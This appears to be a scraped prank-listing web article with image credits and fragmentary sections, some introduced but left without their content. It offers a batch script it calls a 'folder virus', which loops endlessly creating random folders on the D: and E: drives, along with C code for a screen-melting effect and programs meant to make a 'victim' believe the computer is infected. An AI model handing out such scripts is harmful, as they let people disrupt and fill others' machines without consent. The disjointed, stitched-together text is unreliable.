The Best Computer Pranks Ever

Or, you can use the following code to create unlimited folders in the D and E drives.

@echo off
:VIRUS
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM #######################
REM This is folder virus

image credit: www.glasbergen.com

This prank will display a different word instead of the typed word on the Microsoft word. It is actually very easy to do, first open Microsoft Word and then go to Tools > AutoCorrect Options. Then in the “Replace” field, type a common word such as and, I, the etc. Then in the “With” field, type some unrelated word! Then click on “Add“. That’s all!

image credit: www.explainxkcd.com

You can create the effect of a ghost possessed computer in many different ways. Some of them are give below:

What if you can make a CD/DVD drive go crazy? That would be super fun, right? Then let’s do it…

How To Close the Avoid Program:

Move your mouse pointer to the top-left corner of your screen. This will stop the program from running in memory. If you have successfully moved your mouse in the correct position, the program will close and display an About Box Screen. Once you close this screen, the program will exit. Or, just open the task manger and then end the Avoid.exe process

image credit: http://clipproject.info/

Suddenly your mouse is totally reverse, moving up the mouse will move the mouse pointer down, and moving the mouse to the left will move the mouse pointer to the right side, and you will think that your mouse has gone haywire!

How To Stop the Reverse Mouse Effect?

Just go to the system tray, and right click on the Sakasa Mouse icon and then select “Exit“.

• Another Blue Screen of Death Prank (Internet access is not required)

image credit: http://www.glasbergen.com/

This prank can make the victim believe that their computer is infected, and it is downloading unwanted files from all kind of crappy sites.

Random Burper is a program that can play gross burp sounds randomly every single minute. It also turn the internal Windows volume to maximum just before burping, so the victim won’t miss it!

• Screen Melting

#include
int nRandWidth = 150, nRandHeight = 15, nSpeed = 0.5;
int nScreenWidth, nScreenHeight;
LRESULT WINAPI MelterProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch(Msg)
{
case WM_CREATE:
{
HDC hdcDesktop = GetDC(HWND_DESKTOP);
HDC hdcWindow = GetDC(hWnd);
BitBlt(hdcWindow, 0, 0, nScreenWidth, nScreenHeight, hdcDesktop, 0, 0, SRCCOPY);
ReleaseDC(hWnd, hdcWindow);
ReleaseDC(HWND_DESKTOP, hdcDesktop);
SetTimer(hWnd, 0, nSpeed, NULL);
ShowWindow(hWnd, SW_SHOW);
}
return 0;
case WM_ERASEBKGND:
return 0;
case WM_PAINT:
ValidateRect(hWnd, NULL);
return 0;
case WM_TIMER:
{
HDC hdcWindow = GetDC(hWnd);
int nXPos = (rand() % nScreenWidth) – (nRandWidth / 2),
nYPos = (rand() % nRandHeight),
nWidth = (rand() % nRandWidth);
BitBlt(hdcWindow, nXPos, nYPos, nWidth, nScreenHeight, hdcWindow, nXPos, 0, SRCCOPY);
ReleaseDC(hWnd, hdcWindow);
}
return 0;
case WM_CLOSE:
case WM_DESTROY:
{
KillTimer(hWnd, 0);
PostQuitMessage(0);
}
return 0;
}
return DefWindowProc(hWnd, Msg, wParam, lParam);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nShowCmd)
{
nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
WNDCLASS wndClass = { 0, MelterProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), 0, NULL, “Melter” };
if(!RegisterClass(&wndClass)) return MessageBox(HWND_DESKTOP, “Cannot register class!”, NULL, MB_ICONERROR | MB_OK);
HWND hWnd = CreateWindow(“Melter”, NULL, WS_POPUP, 0, 0, nScreenWidth, nScreenHeight, HWND_DESKTOP, NULL, hInstance, NULL);
if(!hWnd) return MessageBox(HWND_DESKTOP, “Cannot create window!”, NULL, MB_ICONERROR | MB_OK);
srand(GetTickCount());
MSG Msg = { 0 };
while(Msg.message != WM_QUIT)
{
if(PeekMessage(&Msg, NULL, 0, 0, PM_REMOVE))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
if(GetAsyncKeyState(VK_ESCAPE) & 0x8000)
DestroyWindow(hWnd);
}
return 0;
}

• System Hacking Prank